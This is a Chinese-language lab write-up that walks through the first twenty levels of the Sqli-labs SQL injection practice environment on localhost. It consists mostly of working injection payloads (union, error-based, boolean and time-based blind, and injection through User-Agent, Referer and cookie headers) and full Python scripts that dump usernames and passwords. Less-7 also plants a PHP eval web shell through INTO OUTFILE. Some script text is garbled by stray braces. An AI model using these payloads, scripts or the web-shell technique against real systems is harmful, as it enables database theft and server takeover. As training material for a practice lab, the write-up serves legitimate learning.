Sqli-labs-master 1-20关|基础篇——详细Write up

Sqli-labs

Page-1(Basic Challenges)

Less-1

Order by判断显示位

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' order by 4 --+

image-20230719182945285

可以看出显示位是3

然后构造payload爆库,爆表

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'; --+

#爆表

image-20230719183035624

1681749559006

爆字段

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'; --+

image-20230719183532835

结束

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

1681749568370

Less-2

先判断出来是数字型,用order by 判断显示位,好像#被过滤了,用–+代替

1681749575647

爆库爆表爆字段,结束

1681749582306

Less-3

先判断是字符型还是数字型,试图用发现用order by查看显示位,发现怎么输都不行,再仔细查看报错,发现是闭合方式的问题,这里使用')闭合的,然后就可以判断显示位

1681749650999

爆库爆表爆字段,结束

1681749659277

Less-4

根据报错得知是闭合方式的问题,可知是”)的闭合然后查询显示位

1681749663911

爆表爆库爆字段,结束

1681749667269

Less-5

判断是单引号的闭合形式,得到显示位是3

1681749671105

测,上当了,都是You are in…是个盲注

试试报错注入

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

1681749675415

得到库名,然后依次爆表爆字段得出username和password

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),3) --+

image-20230719185510765

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3) --+

image-20230719185611114

最后得到部分数据,但是并不能显示完全,好像是回显有长度限制

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),3) --+

image-20230719190252643

利用python脚本来获得数据

# -*- coding:utf-8 -*-
# Author: mochu7
import requests
import typing

def ascii_str():  # 生成库名表名字符所在的字符列表字典
    str_list = []
    for i in range(33, 127):  # 所有可显示字符
        str_list.append(chr(i))
    # print('可显示字符:%s'%str_list)
    return str_list  # 返回字符列表


def db_length(url, str):
    print("[-]开始测试数据库名长度.......")
    num = 1
    while True:
        db_payload = url + "' and (length(database())=%d)--+" % num
        r = requests.get(db_payload)
        if str in r.text:
            db_length = num
            print("[+]数据库长度:%d\n" % db_length)
            db_name(db_length)  # 进行下一步,测试库名
            break
        else:
            num += 1


def db_name(db_length):
    print("[-]开始测试数据库名.......")
    db_name = ''
    str_list = ascii_str()
    for i in range(1, db_length + 1):
        for j in str_list:
            db_payload = url + "' and (ord(mid(database(),%d,1))='%s')--+" % (i, ord(j))
            r = requests.get(db_payload)
            if str in r.text:
                db_name += j
                break
    print("[+]数据库名:%s\n" % db_name)
    tb_piece(db_name)  # 进行下一步,测试security数据库有几张表
    return db_name


def tb_piece(db_name):
    print("开始测试%s数据库有几张表........" % db_name)
    for i in range(100):  # 猜解库中有多少张表,合理范围即可
        tb_payload = url + "' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+" % (i, db_name)
        r = requests.get(tb_payload)
        if str in r.text:
            tb_piece = i
            break
    print("[+]%s库一共有%d张表\n" % (db_name, tb_piece))
    tb_name(db_name, tb_piece)  # 进行下一步,猜解表名


def tb_name(db_name, tb_piece):
    print("[-]开始猜解表名.......")
    table_list = []
    for i in range(tb_piece):
        str_list = ascii_str()
        tb_length = 0
        tb_name = ''
        for j in range(1, 20):  # 表名长度,合理范围即可
            tb_payload = url + "' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+" % (i, j)
            r = requests.get(tb_payload)
            if str in r.text:
                tb_length = j
                print("第%d张表名长度:%s" % (i + 1, tb_length))
                for k in range(1, tb_length + 1):  # 根据表名长度进行截取对比
                    for l in str_list:
                        tb_payload = url + "' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+" % (i, k, ord(l))
                        r = requests.get(tb_payload)
                        if str in r.text:
                            tb_name += l
                print("[+]:%s" % tb_name)
                table_list.append(tb_name)
                break
    print("\n[+]%s库下的%s张表:%s\n" % (db_name, tb_piece, table_list))
    column_num(table_list, db_name)  # 进行下一步,猜解每张表的字段数


def column_num(table_list, db_name):
    print("[-]开始猜解每张表的字段数:.......")
    column_num_list = []
    for i in table_list:
        for j in range(30):  # 每张表的字段数量,合理范围即可
            column_payload = url + "' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+" % (j, i)
            r = requests.get(column_payload)
            if str in r.text:
                column_num = j
                column_num_list.append(column_num)  # 把所有表的字段,依次放入这个列表当中
                print("[+]%s表\t%s个字段" % (i, column_num))
                break
    print("\n[+]表对应的字段数:%s\n" % column_num_list)
    column_name(table_list, column_num_list, db_name)  # 进行下一步,猜解每张表的字段名


def column_name(table_list, column_num_list, db_name):
    global data_num
    data_num = 0
    print("[-]开始猜解每张表的字段名.......")
    column_length = []
    str_list = ascii_str()
    column_name_list = []
    for t in range(len(table_list)):  # t在这里代表每张表的列表索引位置
        print("\n[+]%s表的字段:" % table_list[t])
        for i in range(column_num_list[t]):  # i表示每张表的字段数量
            column_name = ''
            for j in range(1, 21):  # j表示每个字段的长度
                column_name_length = url + "' and %d=(select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)--+" % (j - 1, table_list[t], i)
                r = requests.get(column_name_length)
                if str in r.text:
                    column_length.append(j)
                    break
                for k in str_list:  # k表示我们猜解的字符字典
                    column_payload = url + "' and ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))=%d--+" % (table_list[t], i, j, ord(k))
                    r = requests.get(column_payload)
                    if str in r.text:
                        column_name += k
            print('[+]:%s' % column_name)
            column_name_list.append(column_name)
    # print(column_name_list)#输出所有表中的字段名到一个列表中
    dump_data(table_list, column_name_list, db_name)  # 进行最后一步,输出指定字段的数据
def dump_data(table_list, column_name_list, db_name):
    global data_num
    data_num = 0
    from typing import List
    print("\n[-]对%s表的%s字段进行爆破.......\n" % (table_list[3], column_name_list[12:16]))
    str_list = ascii_str()
    for i in column_name_list[12:16]:  # id,username,password字段
        for j in range(101):  # j表示有多少条数据,合理范围即可
            data_num_payload = url + "' and (select count(%s) from %s.%s)=%d--+" % (i, db_name, table_list[3], j)
            r = requests.get(data_num_payload)
            if str in r.text:
                data_num = j
                break
        print("\n[+]%s表中的%s字段有以下%s条数据:" % (table_list[3], i, data_num))
        for k in range(data_num):
            data_len = 0
            dump_data = ''
            for l in range(1, 21):  # l表示每条数据的长度,合理范围即可
                data_len_payload = url + "' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+" % (i, db_name, table_list[3], k, l)
                r = requests.get(data_len_payload)
                if str not in r.text:
                    data_len = l - 1
                    for x in range(1, data_len + 1):  # x表示每条数据的实际范围,作为mid截取的范围
                        for y in str_list:
                            data_payload = url + "' and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+" % (i, db_name, table_list[3], k, x, ord(y))
                            r = requests.get(data_payload)
                            if str in r.text:
                                dump_data += y
                                break
                    break
            print('[+]%s' % dump_data)  # 输出每条数据


if __name__ == '__main__':
    url = "http://127.0.0.1/sqli-labs-master/Less-5/?id=1"  # 目标url
    str = "You are in"  # 布尔型盲注的true&false的判断因素
    db_length(url, str)  # 程序入口

Less-6

老样子,判断闭合方式,是双引号

1681749730469

1681749734449

得到库名,然后按之前的做法就可以得出答案

但是可以解决一下如何不利用脚本来得到完整结果的问题

1681749748734

方法一:

可以用limit字句来一个个查看

?id=1" and updatexml(1,concat(0x7e,(select password from users limit 2,1),0x7e),1) --+

1681749752594

方法二:

利用mid函数一段一段进行截取

http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,mid((select group_concat(username) from users),30,31),0x7e),1) --+

1681749755918

Less-7

这一关和前几关都不太一样,我们无法通过报错来判断闭合方式

看了眼源码

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

可以看到这里的闭合方式是')),已经知道闭合方式了,在利用第五关的脚本在进行布尔盲注就可以了

跑的之后注意修改一下每个payload的闭合方式就可以了,例如:

image-20230720175144418

方法二:

提示我们可以使用outfile,也就是利用文件来解决这一关

image-20230720175214239

load_file()读取文件

前提:1、用户权限足够高,尽量具有root权限。2、secure_file_priv不为NULL

可以构造payload来创建文件:

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,'<?php phpinfo() ?>',3 into outfile 'E:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.php' --+

然后转到文件夹下面,可以看到已经写入文件1,php,内容是phpinfo()

image-20230720180439075

image-20230720180445470

访问也确实可以访问到

image-20230720180507853

那么可以拓展一下思路,写入shell文件,payload:

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,'<?php @eval($_REQUEST["1"]) ?>',3 into outfile 'E:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\Leaf.php' --+

然后用蚁剑可以连接上

image-20230720182348009

Less-8

单引号闭合,无报错回显的布尔盲注(所以less-5应该是报错注入),直接用脚本跑一下就好了

Less-9

这一关不管输入什么界面都是一样的,所以只能通过时间盲注来解决,直接上脚本

import requests
import time
 
s = requests.session()
url = 'http://127.0.0.1/sqli-labs-master/Less-9/?id='
flag = ''
i = 0
while True:
    i = i + 1
    low = 32
    high = 127
    while low < high:
        mid = (low + high) // 2
        # 查询数据库:payload = f'1%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))'
        payload = f'1\'%0cand%0cif((ascii(substr(database(),{
      
      i},1))>{
      
      mid}),1,sleep(3)) --+'
        # 查询数据表:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid},1,sleep(3)) --+'
        # 查询表字段:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="wfy_comments")),{i},1))>{mid},1,sleep(3)) --+'
        # 查询字段中信息:payload = f'1\'%0cand%0cif(ascii(substr((select(text)from(wfy_comments)where(user="f1ag_is_here")),{i},1))>{mid},1,sleep(3)) --+'
        # 查询数据:payload = f'1\'%0cand%0cif(ascii(substr((select(text)from(wfy_comments)where(user="f1ag_is_here")),{i},1))>{mid},1,sleep(3)) --+'
        stime = time.time()
        url1 = url + payload
        r = s.get(url=url1)
        # r.encoding = "utf-8"
        # print(payload)
        if time.time() - stime < 2:
            low = mid + 1
        else:
            high = mid
    if low != 32:
        flag += chr(low)
    else:
        break
    print(flag)

Less-10

这一关和上一关一样,都是时间盲注,但是这次将单引号闭合变成了双引号闭合,改一下就可以了

Less-11

image-20230723161239926

这次注入是POST方式提交注入,利用burp抓个包,先尝试用order by尝试判断显示位

image-20230723161813178

可以看到当字符数是3的时候会报错,但是2的时候没有问题,所以显示位是两个

image-20230723162015935

接下来爆库,payload:

uname=1&passwd=1' union select database(),2 --+ #&submit=Submit

爆表:

uname=1&passwd=1' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+ #&submit=Submit

爆字段名:

uname=1&passwd=1' union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+ #&submit=Submit

爆数据:

uname=1&passwd=1' union select group_concat(username),group_concat(password) from users --+ #&submit=Submit

得到usernamepassword

image-20230723162452521

Less-12

先判断闭合方式,我们可以通过看报错信息来判断闭合

这里输入password的值为1'")) and 1=1,然后判断一下它的报错

image-20230723163103951

这里显示报错的是对于) and1=1") limit 0,1解析错误,所以可以得知是")闭合,接下来判断显示位,显示位还是2

uname=1&passwd=1") union select 1,2# #&submit=Submit

爆库

uname=1&passwd=1") union select database(),2 --+ #&submit=Submit

爆表

uname=1&passwd=1") union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+ #&submit=Submit

爆字段

uname=1&passwd=1") union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+ #&submit=Submit

得到数据

uname=1&passwd=1") union select group_concat(username),group_concat(password) from users --+ #&submit=Submit

Less-13

通过报错来判断闭合方式

image-20230723165104549

可以判断出闭合方式是'),然后判断显示位,显示位还是2

但是这次没有回显

image-20230723170418986

先试试报错注入:

uname=1&passwd=1') union select 1,(extractvalue(1,concat(0x7e,(select database())))) --+&submit=Submit

这里报错注入是有回显的,所以我们可以直接得到库名

image-20230723171426348

然后爆表

uname=1&passwd=1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))) --+&submit=Submit

爆字段

uname=1&passwd=1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))) --+&submit=Submit

得到数据,由于报错注入得到的数据无法显示那么长,所以用mid函数一段一段的截取,payload:

uname=1&passwd=1') union select 1,(extractvalue(1,concat(0x7e,mid((select group_concat(username) from users),1,31),0x7e))) --+&submit=Submit //得到用户名
uname=1&passwd=1') union select 1,(extractvalue(1,concat(0x7e,mid((select group_concat(password) from users),1,31),0x7e))) --+&submit=Submit //得到密码

Less-14

先判断闭合方式,是"闭合,剩下的和之前一样,也是没有回显,直接报错注入

爆库

uname=1&passwd=1" union select 1,(extractvalue(1,concat(0x7e,(select database())))) --+&submit=Submit

爆表

uname=1&passwd=1" union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))) --+&submit=Submit

爆字段

uname=1&passwd=1" union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))) --+&submit=Submit

得到数据

uname=1&passwd=1" union select 1,(extractvalue(1,concat(0x7e,mid((select group_concat(username) from users),1,31),0x7e))) --+&submit=Submit //得到用户名
uname=1&passwd=1" union select 1,(extractvalue(1,concat(0x7e,mid((select group_concat(password) from users),1,31),0x7e))) --+&submit=Submit //得到密码

Less-15

这一关是盲注,无论怎么输入都没有回显

image-20230723175409793

可以根据图片来进行布尔盲注,也可以进行时间盲注,直接上脚本

import requests
import time

value = "0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!"
result = ""

def get_length():  # 获取数据的长度
    for n in range(1, 100):
        payload = "admin' and if((length(({0} ))={1}),sleep(4),1) #".format(data_payload, n)
        data = {
    
    "uname": payload, "passwd": "admin", "submit": "submit"}
        start_time = time.time()
        html = requests.post(url, data=data)
        end_time = time.time()
        use_time = end_time - start_time  # 求出请求前后的时间差来判断是否延时了
        if use_time > 3:
            print("...... data's length is :" + str(n))
            return n


def get_data(length):  # 获取数据
    global result
    for n in range(1, length):
        for v in value:
            payload = "admin' and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(5),1) #".format(data_payload, n,
                                                                                                 ord(v))
            data = {
    
    "uname": payload, "passwd": "admin", "submit": "submit"}
            start_time = time.time()
            requests.post(url, data=data)
            end_time = time.time()
            use_time = end_time - start_time
            # 为啥把sleep时间设这么长呢?原因是我这里时常会出现网络波动,有时候请求时间就有2秒多,为避免出现乱码,所以设长一点可以保证信息的准确性
            if use_time > 4:
                result += v
                print("......" + result)


url = "http://127.0.0.1/sqli-labs-master/Less-15/"

#data_payload = "select group_concat(table_name,0x7e)from information_schema.tables where table_schema=database()"
data_payload="select group_concat(column_name,0x7e)from information_schema.columns where table_schema=database() and table_name='users'"
#data_payload="select group_concat(username)from users"
#data_payload="select group_concat(password)from users"

length = get_length() + 1  # 注意这里要长度加 1 因为 range(1,10)的范围是 1<= x <10
get_data(length)
print(".....data is :" + result)

但是脚本的输出有点问题,有点难区分每个部分,回来改一下

Less-16

跟上一关方式差不多,没有回显,也是盲注,先判断闭合方式

这一关是")闭合,把上面的admin'改成admin")就可以了

import requests
import time

value = "0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!"
result = ""

def get_length():  # 获取数据的长度
    for n in range(1, 100):
        payload = "admin\") and if((length(({0} ))={1}),sleep(4),1) #".format(data_payload, n)
        data = {
    
    "uname": payload, "passwd": "admin", "submit": "submit"}
        start_time = time.time()
        html = requests.post(url, data=data)
        end_time = time.time()
        use_time = end_time - start_time  # 求出请求前后的时间差来判断是否延时了
        if use_time > 3:
            print("...... data's length is :" + str(n))
            return n


def get_data(length):  # 获取数据
    global result
    for n in range(1, length):
        for v in value:
            payload = "admin\") and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(5),1) #".format(data_payload, n,
                                                                                                 ord(v))
            data = {
    
    "uname": payload, "passwd": "admin", "submit": "submit"}
            start_time = time.time()
            requests.post(url, data=data)
            end_time = time.time()
            use_time = end_time - start_time
            # 为啥把sleep时间设这么长呢?原因是我这里时常会出现网络波动,有时候请求时间就有2秒多,为避免出现乱码,所以设长一点可以保证信息的准确性
            if use_time > 4:
                result += v
                print("......" + result)


url = "http://127.0.0.1/sqli-labs-master/Less-16/"

data_payload = "select group_concat(table_name,0x7e)from information_schema.tables where table_schema=database()"
#data_payload="select group_concat(column_name,0x7e)from information_schema.columns where table_schema=database() and table_name='users'"
#data_payload="select group_concat(username)from users"
#data_payload="select group_concat(password)from users"

length = get_length() + 1  # 注意这里要长度加 1 因为 range(1,10)的范围是 1<= x <10
get_data(length)
print(".....data is :" + result)

Less-17

这关提示:password reset

看了一下源码,是基于update语句的报错注入

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input($value)
	{
    
    
	if(!empty($value))
		{
    
    
		// truncation (see comments)
		$value = substr($value,0,15);
		}
		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
    
    
			$value = stripslashes($value);
			}
		// Quote if not a number
		if (!ctype_digit($value))
			{
    
    
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
	else
		{
    
    
		$value = intval($value);
		}
	return $value;
	}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    
    
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);
// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
	if($row)
	{
    
    
  		//echo '<font color= "#0000ff">';	
		$row1 = $row['username'];  	
		//echo 'Your Login name:'. $row1;
		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
		mysql_query($update);
  		echo "<br>";
		if (mysql_error())
		{
    
    
			echo '<font color= "#FFFF00" font size = 3 >';
			print_r(mysql_error());
			echo "</br></br>";
			echo "</font>";
		}
		else
		{
    
    
			echo '<font color= "#FFFF00" font size = 3 >';
			//echo " You password has been successfully updated " ;		
			echo "<br>";
			echo "</font>";
		}
		echo '<img src="../images/flag1.jpg"   />';	
		//echo 'Your Password:' .$row['password'];
  		echo "</font>";
  	}
	else  
	{
    
    
		echo '<font size="4.5" color="#FFFF00">';
		//echo "Bug off you Silly Dumb hacker";
		echo "</br>";
		echo '<img src="../images/slap1.jpg"   />';
		echo "</font>";  
	}
}
?>

通过代码审计可以看出,这一关不能通过uname来注入,因为存在check_input函数,他会检查username的输入的值

所以我们只能通过password来进行注入,通过print_r(mysql_error())可以知道会回显我们的报错信息,所以进行报错注入

先判断闭合方式,是"闭合,剩下的和之前一样,也是没有回显,直接报错注入,闭合方式是'

因为这一关是需要通过已存在用户名才能进行update,所以要uname不可以随便乱输

爆库

uname=Dumb&passwd=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

爆表

uname=Dumb&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),3) --+

爆字段

uname=Dumb&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3) --+

得到数据

uname=DUMB&passwd=1' and updatexml(1,concat(0x7e,mid((select group_concat(username) from users),30,31),0x7e),1) --+ //得到用户名
uname=DUMB&passwd=1' and updatexml(1,concat(0x7e,mid((select group_concat(password) from users),30,31),0x7e),1) --+ //得到密码

但是不知道为什么我这里获取数据的时候一直会报错,就这样吧,应该是我数据库版本和权限设置的问题

image-20230725151927857

Less-18

进入界面,可以看到有个回显是address is :.....

image-20230725152007910

看一下源代码,这里直接放关键了

function check_input($value)
	{
    
    
	if(!empty($value))
		{
    
    
		// truncation (see comments)
		$value = substr($value,0,20);
		}
		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
    
    
			$value = stripslashes($value);
			}
		// Quote if not a number
		if (!ctype_digit($value))
			{
    
    
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
	else
		{
    
    
		$value = intval($value);
		}
	return $value;
	}
	$uagent = $_SERVER['HTTP_USER_AGENT'];
	$IP = $_SERVER['REMOTE_ADDR'];
	echo "<br>";
	echo 'Your IP ADDRESS is: ' .$IP;
	echo "<br>";
if(isset($_POST['uname']) && isset($_POST['passwd']))
	{
    
    
	$uname = check_input($_POST['uname']);
	$passwd = check_input($_POST['passwd']);
	$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{
    
    
			echo '<font color= "#FFFF00" font size = 3 >';
			$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
			mysql_query($insert);
			//echo 'Your IP ADDRESS is: ' .$IP;
			echo "</font>";
			//echo "<br>";
			echo '<font color= "#0000ff" font size = 3 >';			
			echo 'Your User Agent is: ' .$uagent;
			echo "</font>";
			echo "<br>";
			print_r(mysql_error());			
			echo "<br><br>";
			echo '<img src="../images/flag.jpg"  />';
			echo "<br>";
			}
		else
			{
    
    
			echo '<font color= "#0000ff" font size="3">';
			//echo "Try again looser";
			print_r(mysql_error());
			echo "</br>";			
			echo "</br>";
			echo '<img src="../images/slap.jpg"   />';	
			echo "</font>";  
			}
	}
?>

可以看出这里usernamepassword都会有过滤,但是uagent变量是从User-Agent上直接获取的值,这里并没有获取过滤

所以可以通过User-AgentHTTP头进行注入,通过代码可知这里并不会直接输出查询结果,但是会输出报错,所以要进行报错注入

而且我们在进行UA头注入的前提是要登陆成功,不然会提示登录失败,并且不会回显报错结果

构造的时候要先单引号闭合,还要注意该插入语句需要三个参数,所以我们在构造时候也需要有三个参数。因为#号后面都被注释了。

爆库,payload:

1',1,updatexml(1,concat(0x7e,(database()),0x7e),1))#

image-20230725161237466

爆表:

1',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#

image-20230725161340503

爆字段

1',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1))#

得到数据

因为这里查数据会有长度限制,为32位,因此采用另外的函数进行分段截取显示

1',1,updatexml(1,substring(concat(0x7e,(select group_concat(username) from security.users),0x7e),1,32),1))# //得到用户名
1',1,updatexml(1,substring(concat(0x7e,(select group_concat(password) from security.users),0x7e),1,32),1))# //得到密码

Less-19

看样子还是HTTP头部注入

先登录一下看看注入点在哪

image-20230725161946180

可以看出是Referer

这里参数和闭合方式直接被我盲猜出来了,想具体了解一下可以去看看源代码

爆库

1',updatexml(1,concat(0x7e,(database()),0x7e),1))#

image-20230725162442793

爆表:

1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#

爆字段

1',updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1))#

得到数据:

1',updatexml(1,substring(concat(0x7e,(select group_concat(username) from security.users),0x7e),1,32),1))# //得到用户名
1',updatexml(1,substring(concat(0x7e,(select group_concat(password) from security.users),0x7e),1,32),1))# //得到密码

Less-20

先用admin登陆一下,查看登录后界面

image-20230725162952570

猜测是cookie注入,先抓个包,然后在cookie中随便输点

image-20230725164110965

直接爆库了,好,好好好

这题应该有报错和联合注入都可以

先联合注入,爆库

uname=-1' union select 1,2,database()#

爆表

uname=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

爆字段

uname=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

得到数据

uname=-1' union select 1,group_concat(username),group_concat(password) from users#

报错注入,爆库

uname=-1'and updatexml (1,concat(0x7e,(select database()),0x7e),1)#

image-20230725165916730

爆表

uname=-1'and updatexml (1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

爆字段

uname=-1'and updatexml (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()and table_name='users'),0x7e),1)#

得到数据

uname=-1'and updatexml (1,mid(concat(0x7e,(select group_concat(username) from users),0x7e),1,30),1)# //得到用户名
uname=-1'and updatexml (1,mid(concat(0x7e,(select group_concat(password) from users),0x7e),1,30),1)# //得到密码

可以看出Page1都是比较基础的sql注入,并没有涉及到关键字过滤等等,过段时间再开始page2吧,先学学别的

猜你喜欢

转载自blog.csdn.net/Leaf_initial/article/details/131922121